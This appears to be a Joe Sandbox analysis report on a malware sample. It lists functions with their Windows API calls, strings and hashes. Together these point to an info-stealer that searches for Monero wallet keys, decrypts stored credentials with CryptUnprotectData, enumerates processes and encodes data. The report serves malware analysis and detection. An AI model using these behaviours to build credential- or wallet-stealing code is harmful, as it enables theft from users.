Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: ab9f66a5411096324883d0c244dfe4778822bc1226879aae9068aa0ad16ae1e0
Instruction ID: 42e78ddd978dd5741c2c707d564f3b322e6162c6bf8f37f008edf10f70f16de1
Opcode Fuzzy Hash: ab9f66a5411096324883d0c244dfe4778822bc1226879aae9068aa0ad16ae1e0
Instruction Fuzzy Hash: 36416D71940228ABCB24DF94DC99BEEB378FF58700F6041DAE40962280DB742F85CFA5

Function 001CE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,001E0D73), ref: 001CE4A2
StrCmpCA.SHLWAPI(?,001E14F8), ref: 001CE4F2
StrCmpCA.SHLWAPI(?,001E14FC), ref: 001CE508
FindNextFileA.KERNEL32(000000FF,?), ref: 001CEBDF

Strings

\*.*, xrefs: 001CE44D

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: a8b4c378421adea72428ff6a29da2220fb929a4b69d251a463f0f06e9015c6f0
Instruction ID: 3a6bbf247d11cfd55fd86ad8f296845e6593ee70615a29b4bed862babd161d84
Opcode Fuzzy Hash: a8b4c378421adea72428ff6a29da2220fb929a4b69d251a463f0f06e9015c6f0
Instruction Fuzzy Hash: 8E1246719101549BDB18FB70DCA6EEE7378AF64300FC045AAB50A96291EF306F49CF96

Function 0059444A Relevance: 9.1, Strings: 6, Instructions: 1636COMMON

Download Yara Rule

Strings

GZo, xrefs: 00595463
%wW|, xrefs: 00594B61
]Q~, xrefs: 0059454E
ed1v, xrefs: 00594FD7
O/vw, xrefs: 00594F06
a{o, xrefs: 00594FB5

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %wW|$O/vw$]Q~$a{o$ed1v$GZo
API String ID: 0-1058592437
Opcode ID: dca32842afa0b710489ad303f8ea7ecbbe30b5b812bad2e04c7197a98a917baa
Instruction ID: 8ee541b3a4e814ea34645f568e66012636c7d278b9740dcc3595d8b46e234da8
Opcode Fuzzy Hash: dca32842afa0b710489ad303f8ea7ecbbe30b5b812bad2e04c7197a98a917baa
Instruction Fuzzy Hash: CAB205B360C204AFE304AE29EC8567AF7E9EFD4720F1A892DE6C4C7744E63558418797

Function 0059EC67 Relevance: 8.8, Strings: 6, Instructions: 1261COMMON

Download Yara Rule

Strings

Cqs~, xrefs: 0059FB40
w#wn, xrefs: 0059F4CD
ax_', xrefs: 0059ECDD
AM7?, xrefs: 0059F843
S^rZ, xrefs: 0059F0D4
.&o>, xrefs: 0059F362

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .&o>$AM7?$Cqs~$S^rZ$ax_'$w#wn
API String ID: 0-356560627
Opcode ID: 1304d46dec483294ed4b4964a04615bd1b66f1f2fdf83196dc13a5ff21c91567
Instruction ID: 5075b03a0573ceb7f709830b0095cf43bbad65fdaa7db2fad3f98edfc3d83068
Opcode Fuzzy Hash: 1304d46dec483294ed4b4964a04615bd1b66f1f2fdf83196dc13a5ff21c91567
Instruction Fuzzy Hash: B682E7F360C600AFE304AE2DEC8577ABBE9EF94720F1A853DE6C5C7744E53598018696

Function 005A1E41 Relevance: 7.9, Strings: 5, Instructions: 1632COMMON

Download Yara Rule

Strings

STpa, xrefs: 005A2AC4
.+<, xrefs: 005A25D7
v;[^, xrefs: 005A25C8
'4Y|, xrefs: 005A2E20
+6?, xrefs: 005A271B

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '4Y|$+6?$.+<$STpa$v;[^
API String ID: 0-1836363471
Opcode ID: 69a964a06cdd3d737667768d783d052a849826e1e35ff123681e8147239470bd
Instruction ID: 56056c4e5d56022f6f8d729b4b408eb533ab17179bbf6d5eab1101287459d152
Opcode Fuzzy Hash: 69a964a06cdd3d737667768d783d052a849826e1e35ff123681e8147239470bd
Instruction Fuzzy Hash: BFB207F390C2049FE304AE29EC8567AFBE5EF94720F1A853DEAC487744EA3558058797

Function 001CC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001CC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001CC87C
lstrcat.KERNEL32(?,001E0B46), ref: 001CC943
lstrcat.KERNEL32(?,001E0B47), ref: 001CC957
lstrcat.KERNEL32(?,001E0B4E), ref: 001CC978

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 2f5c0a455db6c9f0953edcacb1d93934bc051010d54a12bcf7283ea6102faf35
Instruction ID: 5b1f5888ea485de3d4157b1037588bf91de92af5cc62f9fade9c1a2ccb2574dc
Opcode Fuzzy Hash: 2f5c0a455db6c9f0953edcacb1d93934bc051010d54a12bcf7283ea6102faf35
Instruction Fuzzy Hash: 8A415EB590421ADBDB10DF90DD89FFEB7B8BB48704F1045A8E509B6280D7749A84CF96

Function 001D6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 001D696C
sscanf.NTDLL ref: 001D6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001D69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001D69C0
ExitProcess.KERNEL32 ref: 001D69DA

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: a69c39efe0fb7316da4bd483f9e710a28d80b0e0a2bd8714fa610f30df56ad32
Instruction ID: ba96b0b3d86b069de926744f545de427a653afba36feaa7c05b26bc2a1350a4f
Opcode Fuzzy Hash: a69c39efe0fb7316da4bd483f9e710a28d80b0e0a2bd8714fa610f30df56ad32
Instruction Fuzzy Hash: C021CB76D14208AFCF08EFE4D955AEEB7B9BF48304F04852AE406F3250EB345615CBA9

Function 001C7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 001C724D
RtlAllocateHeap.NTDLL(00000000), ref: 001C7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 001C7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001C72A4
LocalFree.KERNEL32(?), ref: 001C72AE

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 96b325f3b2eace8405d8bb3dc8d0bc8fe8500cc9063b822db3174a5cb5f0e1c1
Instruction ID: d261f1ddfd88882f5cb6379a272cd43dd7934c52360cf1151057a43cd4ad3bac
Opcode Fuzzy Hash: 96b325f3b2eace8405d8bb3dc8d0bc8fe8500cc9063b822db3174a5cb5f0e1c1
Instruction Fuzzy Hash: 4D0100B5A40308BBEB14DBD4CD49F9D7778AB44700F108558FB05BB2C0D7B0AA118B69

Function 001D9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001D961E
Process32First.KERNEL32(001E0ACA,00000128), ref: 001D9632
Process32Next.KERNEL32(001E0ACA,00000128), ref: 001D9647
StrCmpCA.SHLWAPI(?,00000000), ref: 001D965C
CloseHandle.KERNEL32(001E0ACA), ref: 001D967A

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d30e3a431c3cda1dcb33abb829e9db12231dbdbf922a965ae2b1413f9e61c2bd
Instruction ID: e71cd0cb5e2e9a2f63f3b9b23596574e4037a720a9c7e49e0701c7134a8d1113
Opcode Fuzzy Hash: d30e3a431c3cda1dcb33abb829e9db12231dbdbf922a965ae2b1413f9e61c2bd
Instruction Fuzzy Hash: 8E010CB5A00308ABDB14DFA5CD48BEDB7F8EB48700F108199A905A7340E734DB50CF51

Function 0059298B Relevance: 6.6, Strings: 4, Instructions: 1612COMMON

Download Yara Rule

Strings

@:7, xrefs: 00592E3A
JFk, xrefs: 00592C48
a~~, xrefs: 00592D77
{G{, xrefs: 005932CE

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: JFk$a~~${G{$@:7
API String ID: 0-4074208610
Opcode ID: 6ed58c8f2736066b8b02802e8b335978fa8054ebc51ea7fd1b093d8d74bf1e68
Instruction ID: c45f560f03ac8615fc09b4c1b10cf6e6a108b463b9b3d4de168c097b3d1bf19e
Opcode Fuzzy Hash: 6ed58c8f2736066b8b02802e8b335978fa8054ebc51ea7fd1b093d8d74bf1e68
Instruction Fuzzy Hash: 0DB2E7F3A0C204AFE704AE29EC8577ABBE9EF94320F16453DE6C5C7344E63598058697

Function 0059CC87 Relevance: 6.6, Strings: 4, Instructions: 1602COMMON

Download Yara Rule

Strings

t*D@, xrefs: 0059D5CD
^.[, xrefs: 0059CD86
[}t, xrefs: 0059DB57
X@QK, xrefs: 0059DC1A

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: X@QK$[}t$^.[$t*D@
API String ID: 0-966779423
Opcode ID: dac6a0f7d806658d9316682c7dbeb781424f9e21dc9c1c9e171b4e871c3ff4dd
Instruction ID: 3a60c492c36965c0052db4016a45ac33ef88af44684d1b3ad6bcffb9fb4098b2
Opcode Fuzzy Hash: dac6a0f7d806658d9316682c7dbeb781424f9e21dc9c1c9e171b4e871c3ff4dd
Instruction Fuzzy Hash: 23B2F6B3A0C204AFD304AE29EC8567AF7E9EF94720F16893DEAC4C3744E63558458797

Function 001D8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,001C5184,40000001,00000000,00000000,?,001C5184), ref: 001D8EC0

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

